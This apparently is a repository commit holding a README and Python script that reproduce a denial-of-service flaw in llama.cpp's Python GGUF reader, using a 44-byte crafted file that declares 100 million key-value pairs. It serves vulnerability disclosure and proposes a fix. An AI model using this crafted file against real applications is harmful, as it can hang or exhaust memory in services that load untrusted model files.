Initial commit: GGUF Python reader DoS PoC
Browse files- README.md +56 -0
- malicious_gguf.gguf +0 -0
- reproduce.py +44 -0
README.md
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
language: en
|
| 4 |
+
tags:
|
| 5 |
+
- security
|
| 6 |
+
- poc
|
| 7 |
+
- gguf
|
| 8 |
+
- dos
|
| 9 |
+
- llama.cpp
|
| 10 |
+
---
|
| 11 |
+
|
| 12 |
+
# GGUF Python Reader -- Missing Bounds Checks (DoS)
|
| 13 |
+
|
| 14 |
+
## Summary
|
| 15 |
+
|
| 16 |
+
The Python GGUF reader in llama.cpp's `gguf-py` library lacks the input
|
| 17 |
+
validation bounds that the C++ implementation has, allowing a maliciously
|
| 18 |
+
crafted GGUF file to cause denial of service through excessive memory
|
| 19 |
+
allocation or infinite looping.
|
| 20 |
+
|
| 21 |
+
The C++ parser caps string lengths and array counts at 1 GiB
|
| 22 |
+
(GGUF_MAX_STRING_LENGTH, GGUF_MAX_ARRAY_ELEMENTS). The Python parser
|
| 23 |
+
has no equivalent checks.
|
| 24 |
+
|
| 25 |
+
## Affected code
|
| 26 |
+
|
| 27 |
+
- Repository: https://github.com/ggerganov/llama.cpp
|
| 28 |
+
- File: `gguf-py/gguf/gguf_reader.py`
|
| 29 |
+
- Commit tested: `aa50b2c2ae91326d5aad956ceeb015d1d48e626b`
|
| 30 |
+
|
| 31 |
+
## PoC file
|
| 32 |
+
|
| 33 |
+
`malicious_gguf.gguf` -- a 44-byte file that declares 100 million key-value
|
| 34 |
+
pairs in its header, causing the parser to iterate endlessly.
|
| 35 |
+
|
| 36 |
+
## Reproduction
|
| 37 |
+
|
| 38 |
+
```bash
|
| 39 |
+
pip install gguf numpy
|
| 40 |
+
python reproduce.py
|
| 41 |
+
```
|
| 42 |
+
|
| 43 |
+
Expected: the script hangs indefinitely trying to parse a 44-byte file.
|
| 44 |
+
|
| 45 |
+
## Impact
|
| 46 |
+
|
| 47 |
+
Any Python application using `GGUFReader` on untrusted GGUF files is
|
| 48 |
+
affected. This includes CLI tools shipped with gguf-py and any application
|
| 49 |
+
that loads GGUF models from user-supplied paths.
|
| 50 |
+
|
| 51 |
+
## Fix
|
| 52 |
+
|
| 53 |
+
Add the bounds checks from the C++ implementation to the Python reader:
|
| 54 |
+
- Maximum string length
|
| 55 |
+
- Maximum array element count
|
| 56 |
+
- KV pair and tensor count validation before iteration
|
malicious_gguf.gguf
ADDED
|
Binary file (44 Bytes). View file
|
|
|
reproduce.py
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: GGUF Python reader DoS via missing bounds checks.
|
| 3 |
+
|
| 4 |
+
A 44-byte malicious GGUF file declares 100 million key-value pairs,
|
| 5 |
+
causing GGUFReader to hang indefinitely.
|
| 6 |
+
|
| 7 |
+
Usage: python reproduce.py
|
| 8 |
+
"""
|
| 9 |
+
import sys
|
| 10 |
+
import time
|
| 11 |
+
import os
|
| 12 |
+
|
| 13 |
+
# Add gguf-py to path if installed from source
|
| 14 |
+
# sys.path.insert(0, '/path/to/llama.cpp/gguf-py')
|
| 15 |
+
|
| 16 |
+
try:
|
| 17 |
+
from gguf.gguf_reader import GGUFReader
|
| 18 |
+
except ImportError:
|
| 19 |
+
print("Error: gguf package not installed. Install with: pip install gguf")
|
| 20 |
+
sys.exit(1)
|
| 21 |
+
|
| 22 |
+
# Path to the malicious GGUF file (same directory as this script)
|
| 23 |
+
poc_file = os.path.join(os.path.dirname(__file__), "malicious_gguf.gguf")
|
| 24 |
+
|
| 25 |
+
if not os.path.exists(poc_file):
|
| 26 |
+
print(f"Error: PoC file not found at {poc_file}")
|
| 27 |
+
sys.exit(1)
|
| 28 |
+
|
| 29 |
+
print(f"File size: {os.path.getsize(poc_file)} bytes")
|
| 30 |
+
print("Attempting to parse... (this will hang if vulnerable)")
|
| 31 |
+
print("Press Ctrl+C to abort after a few seconds.\n")
|
| 32 |
+
|
| 33 |
+
start = time.time()
|
| 34 |
+
try:
|
| 35 |
+
reader = GGUFReader(poc_file)
|
| 36 |
+
elapsed = time.time() - start
|
| 37 |
+
print(f"Parsed successfully in {elapsed:.1f}s (unexpected -- may be patched)")
|
| 38 |
+
print(f"Fields: {len(reader.fields)}")
|
| 39 |
+
except MemoryError as e:
|
| 40 |
+
elapsed = time.time() - start
|
| 41 |
+
print(f"MemoryError after {elapsed:.1f}s: {e}")
|
| 42 |
+
except Exception as e:
|
| 43 |
+
elapsed = time.time() - start
|
| 44 |
+
print(f"Error after {elapsed:.1f}s: {type(e).__name__}: {e}")
|